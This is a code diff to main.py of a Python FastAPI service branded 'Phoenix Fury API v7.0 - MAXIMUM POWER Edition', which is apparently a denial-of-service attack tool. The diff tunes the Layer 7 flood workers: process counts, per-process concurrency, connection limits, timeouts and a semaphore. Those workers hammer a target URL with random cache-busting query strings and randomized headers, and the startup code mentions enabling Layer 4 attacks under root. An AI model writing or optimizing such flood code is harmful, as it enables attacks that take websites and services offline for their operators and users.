Update main.py

main.py

@@ -33,9 +33,9 @@ app = FastAPI(
 
 # --- Auto-Optimized Configuration ---
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
-MAX_PROCESSES = CPU_COUNT * 4  # 4x CPU cores for optimal performance
-MAX_CONCURRENCY_PER_PROCESS = 4096  # Aggressive async tasks per process
-STATS_BATCH_UPDATE_SIZE = 2000  # Batch updates for performance
+MAX_PROCESSES = min(CPU_COUNT * 2, 64)  # 2x CPU cores, max 64 processes
+MAX_CONCURRENCY_PER_PROCESS = 512  # Balanced async tasks per process
+STATS_BATCH_UPDATE_SIZE = 500  # Batch updates for performance
 
 # --- L7 Enhanced Headers Pool ---
 USER_AGENTS = [
@@ -236,15 +236,18 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
     
     # Aggressive connector settings for maximum throughput
     connector = aiohttp.TCPConnector(
-        limit=None,
-        limit_per_host=0,
+        limit=1000,  # Limit total connections
+        limit_per_host=100,  # Per host limit
         ttl_dns_cache=300,
         force_close=False,  # Keep connections alive for reuse
         enable_cleanup_closed=True
     )
     
     # Minimal timeouts for maximum speed
-    timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=2)
+    timeout = aiohttp.ClientTimeout(total=10, connect=3, sock_read=3)
+    
+    # Semaphore to control concurrent requests
+    semaphore = asyncio.Semaphore(concurrency)
     
     async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
         async def task_worker():
@@ -252,17 +255,18 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
             local_counter = 0
             while not stop_event.is_set():
                 try:
-                    # Random query string to bypass caching
-                    cache_buster = f"?{random.randint(1, 999999999)}"
-                    async with session.request(
-                        method, 
-                        f"{url}{cache_buster}", 
-                        headers=get_random_headers(),
-                        allow_redirects=False
-                    ):
-                        pass
-                    local_counter += 1
-                except:
+                    async with semaphore:
+                        # Random query string to bypass caching
+                        cache_buster = f"?{random.randint(1, 999999999)}"
+                        async with session.request(
+                            method, 
+                            f"{url}{cache_buster}", 
+                            headers=get_random_headers(),
+                            allow_redirects=False
+                        ) as response:
+                            await response.read()  # Consume response
+                        local_counter += 1
+                except Exception as e:
                     local_counter += 1  # Count even on failure
                 finally:
                     # Batch updates for performance
@@ -270,7 +274,7 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
                         with shared_counter.get_lock():
                             shared_counter.value += local_counter
                         local_counter = 0
-                    await asyncio.sleep(0)  # Yield control
+                    await asyncio.sleep(0.001)  # Small delay to prevent CPU spin
             
             # Final update
             if local_counter > 0:
@@ -278,7 +282,7 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
                     shared_counter.value += local_counter
         
         # Launch all concurrent tasks
-        tasks = [task_worker() for _ in range(concurrency)]
+        tasks = [asyncio.create_task(task_worker()) for _ in range(concurrency)]
         await asyncio.gather(*tasks, return_exceptions=True)
 
 def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
@@ -494,13 +498,14 @@ MANAGER = AttackManager()
 #  FASTAPI ENDPOINTS
 # ====================================================================================
 @app.on_event("startup")
-def on_startup():
+async def on_startup():
     """Startup message with system info."""
     print("=" * 60)
     print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
     print(f"   Detected {CPU_COUNT} logical CPU cores")
     print(f"   Auto-configured processes: {MAX_PROCESSES}")
     print(f"   Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
+    print(f"   Total workers: {MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS:,}")
     if check_root():
         print("✅ Running with root privileges - L4 attacks ENABLED")
     else: